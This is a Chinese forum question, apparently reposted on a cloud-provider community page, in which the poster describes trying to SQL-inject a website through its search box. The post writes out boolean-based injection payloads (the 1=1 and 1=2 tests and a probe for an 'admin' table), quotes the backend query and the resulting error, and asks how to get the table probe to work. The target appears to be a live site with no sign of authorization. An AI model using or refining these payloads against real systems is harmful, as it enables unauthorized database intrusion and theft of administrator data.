在Sql注入時查詢表名是否存在有一點小疑問求大神們解答一下謝謝啦

來源:互聯網
上載者:User
是這樣的,這兩天在嘗試通過文本搜尋方塊注入一個站時,查詢

XXX%' and 1=1 and '%'='

正常顯示,查詢

XXX%' and 1=2 and '%'='

時不正常顯示,它的查詢語句如下

SELECT d.* FROM Table1 d left join Table2 c on c.name = d.name WHERE d.id != 0 and c.location like '%(搜尋方塊的內容)%' ……

接著我想試試

XXX%' and (select count(*) from admin)>0 and '%'='

結果爆出錯誤

Table 'child.admin' doesn't exist

所以問題是,我怎麼才能查admin這個表而不是去查*.admin是否存在呢?
在這裡先謝謝大神了

回複內容:

是這樣的,這兩天在嘗試通過文本搜尋方塊注入一個站時,查詢

XXX%' and 1=1 and '%'='

正常顯示,查詢

XXX%' and 1=2 and '%'='

時不正常顯示,它的查詢語句如下

SELECT d.* FROM Table1 d left join Table2 c on c.name = d.name WHERE d.id != 0 and c.location like '%(搜尋方塊的內容)%' ……

接著我想試試

XXX%' and (select count(*) from admin)>0 and '%'='

結果爆出錯誤

Table 'child.admin' doesn't exist

所以問題是,我怎麼才能查admin這個表而不是去查*.admin是否存在呢?
在這裡先謝謝大神了

  • 相關文章

    聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.